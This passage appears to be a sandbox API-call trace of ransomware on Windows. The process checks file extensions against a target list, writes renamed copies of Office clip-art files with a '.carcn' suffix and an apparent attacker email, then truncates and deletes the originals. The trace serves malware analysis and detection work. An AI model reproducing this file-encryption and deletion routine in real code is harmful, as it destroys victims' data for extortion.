[0301.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.351] lstrlenW (lpString=".bz2") returned 4 [0301.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.633] lstrlenW (lpString=".7z") returned 3 [0301.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.633] lstrlenW (lpString=".dbf") returned 4 [0301.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.633] lstrlenW (lpString=".1cd") returned 4 [0301.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.634] lstrlenW (lpString=".jpg") returned 4 [0301.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.634] lstrlenW (lpString=".doc") returned 4 [0301.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString=".docx") returned 5 [0301.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.634] lstrlenW (lpString=".pdf") returned 4 [0301.634] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString=".xls") returned 4 [0301.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.634] lstrlenW (lpString=".xlsx") returned 5 [0301.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.634] lstrlenW (lpString=".ppt") returned 4 [0301.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.634] lstrlenW (lpString=".zip") returned 4 [0301.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.634] lstrlenW (lpString=".rar") returned 4 [0301.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString=".bz2") returned 4 [0301.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.634] lstrlenW (lpString=".7z") returned 3 [0301.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.635] lstrlenW (lpString=".dbf") returned 4 [0301.635] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.635] lstrlenW (lpString=".1cd") returned 4 [0301.635] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0301.635] lstrlenW (lpString=".jpg") returned 4 [0301.635] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.635] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.635] lstrlenW (lpString="FD00076_.WMF") returned 12 [0301.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.636] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=11994) returned 1 [0301.636] CloseHandle (hObject=0x368) returned 1 [0301.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 0x220 [0301.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.636] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.637] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.637] GetLastError () returned 0x0 [0301.637] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2eda, lpOverlapped=0x0) returned 1 [0301.639] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2ee0, lpOverlapped=0x0) returned 1 [0301.640] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.640] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.640] SetEndOfFile (hFile=0x390) returned 1 [0301.641] CloseHandle (hObject=0x390) returned 1 [0301.641] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.641] SetEndOfFile (hFile=0x368) returned 1 [0301.642] CloseHandle (hObject=0x368) returned 1 [0301.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf")) returned 1 [0301.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.643] lstrlenW (lpString=".doc") returned 4 [0301.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.643] lstrlenW (lpString=".docx") returned 5 [0301.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.643] lstrlenW (lpString=".pdf") returned 4 [0301.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.643] lstrlenW (lpString=".xls") returned 4 [0301.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.644] lstrlenW (lpString=".xlsx") returned 5 [0301.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.644] lstrlenW (lpString=".ppt") returned 4 [0301.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.644] lstrlenW (lpString=".zip") returned 4 [0301.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.644] lstrlenW (lpString=".rar") returned 4 [0301.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.644] lstrlenW (lpString=".bz2") returned 4 [0301.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.644] lstrlenW (lpString=".7z") returned 3 [0301.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.644] lstrlenW (lpString=".dbf") returned 4 [0301.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.644] lstrlenW (lpString=".1cd") returned 4 [0301.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.644] lstrlenW (lpString=".jpg") returned 4 [0301.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.645] lstrlenW (lpString=".doc") returned 4 [0301.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.645] lstrlenW (lpString=".docx") returned 5 [0301.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.645] lstrlenW (lpString=".pdf") returned 4 [0301.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.645] lstrlenW (lpString=".xls") returned 4 [0301.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.645] lstrlenW (lpString=".xlsx") returned 5 [0301.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.645] lstrlenW (lpString=".ppt") returned 4 [0301.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.645] lstrlenW (lpString=".zip") returned 4 [0301.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.645] lstrlenW (lpString=".rar") returned 4 [0301.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.645] lstrlenW (lpString=".bz2") returned 4 [0301.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.646] lstrlenW (lpString=".7z") returned 3 [0301.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.646] lstrlenW (lpString=".dbf") returned 4 [0301.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.646] lstrlenW (lpString=".1cd") returned 4 [0301.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF") returned 68 [0301.646] lstrlenW (lpString=".jpg") returned 4 [0301.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.646] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.646] lstrlenW (lpString="FD00077_.WMF") returned 12 [0301.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.647] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=30240) returned 1 [0301.647] CloseHandle (hObject=0x368) returned 1 [0301.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220 [0301.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.648] GetLastError () returned 0x0 [0301.648] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x7620, lpOverlapped=0x0) returned 1 [0301.650] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7630, lpOverlapped=0x0) returned 1 [0301.652] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.652] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.652] SetEndOfFile (hFile=0x390) returned 1 [0301.652] CloseHandle (hObject=0x390) returned 1 [0301.652] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.652] SetEndOfFile (hFile=0x368) returned 1 [0301.653] CloseHandle (hObject=0x368) returned 1 [0301.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1 [0301.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.654] lstrlenW (lpString=".doc") returned 4 [0301.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.654] lstrlenW (lpString=".docx") returned 5 [0301.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.654] lstrlenW (lpString=".pdf") returned 4 [0301.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString=".xls") returned 4 [0301.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.655] lstrlenW (lpString=".xlsx") returned 5 [0301.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.655] lstrlenW (lpString=".ppt") returned 4 [0301.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.655] lstrlenW (lpString=".zip") returned 4 [0301.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.655] lstrlenW (lpString=".rar") returned 4 [0301.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString=".bz2") returned 4 [0301.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString=".7z") returned 3 [0301.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.655] lstrlenW (lpString=".dbf") returned 4 [0301.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.655] lstrlenW (lpString=".1cd") returned 4 [0301.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.656] lstrlenW (lpString=".jpg") returned 4 [0301.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.656] lstrlenW (lpString=".doc") returned 4 [0301.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString=".docx") returned 5 [0301.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.656] lstrlenW (lpString=".pdf") returned 4 [0301.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString=".xls") returned 4 [0301.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.656] lstrlenW (lpString=".xlsx") returned 5 [0301.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.656] lstrlenW (lpString=".ppt") returned 4 [0301.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.656] lstrlenW (lpString=".zip") returned 4 [0301.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.656] lstrlenW (lpString=".rar") returned 4 [0301.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString=".bz2") returned 4 [0301.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString=".7z") returned 3 [0301.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.657] lstrlenW (lpString=".dbf") returned 4 [0301.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.657] lstrlenW (lpString=".1cd") returned 4 [0301.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68 [0301.657] lstrlenW (lpString=".jpg") returned 4 [0301.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.657] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0301.657] lstrlenW (lpString="FD00086_.WMF") returned 12 [0301.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.658] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=29212) returned 1 [0301.658] CloseHandle (hObject=0x368) returned 1 [0301.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220 [0301.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0301.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0301.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.659] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0301.660] GetLastError () returned 0x0 [0301.660] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x721c, lpOverlapped=0x0) returned 1 [0301.661] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x7220, lpOverlapped=0x0) returned 1 [0301.664] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.664] WriteFile (in: hFile=0x390, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.664] SetEndOfFile (hFile=0x390) returned 1 [0301.664] CloseHandle (hObject=0x390) returned 1 [0301.664] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.664] SetEndOfFile (hFile=0x368) returned 1 [0301.666] CloseHandle (hObject=0x368) returned 1 [0301.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0301.666] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 1 [0301.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.667] lstrlenW (lpString=".doc") returned 4 [0301.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.667] lstrlenW (lpString=".docx") returned 5 [0301.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.667] lstrlenW (lpString=".pdf") returned 4 [0301.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.667] lstrlenW (lpString=".xls") returned 4 [0301.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.667] lstrlenW (lpString=".xlsx") returned 5 [0301.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.667] lstrlenW (lpString=".ppt") returned 4 [0301.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0301.668] lstrlenW (lpString=".zip") returned 4 [0301.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.668] lstrlenW (lpString=".rar") returned 4 [0301.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString=".bz2") returned 4 [0301.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.668] lstrlenW (lpString=".7z") returned 3 [0301.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.668] lstrlenW (lpString="C:\\Program 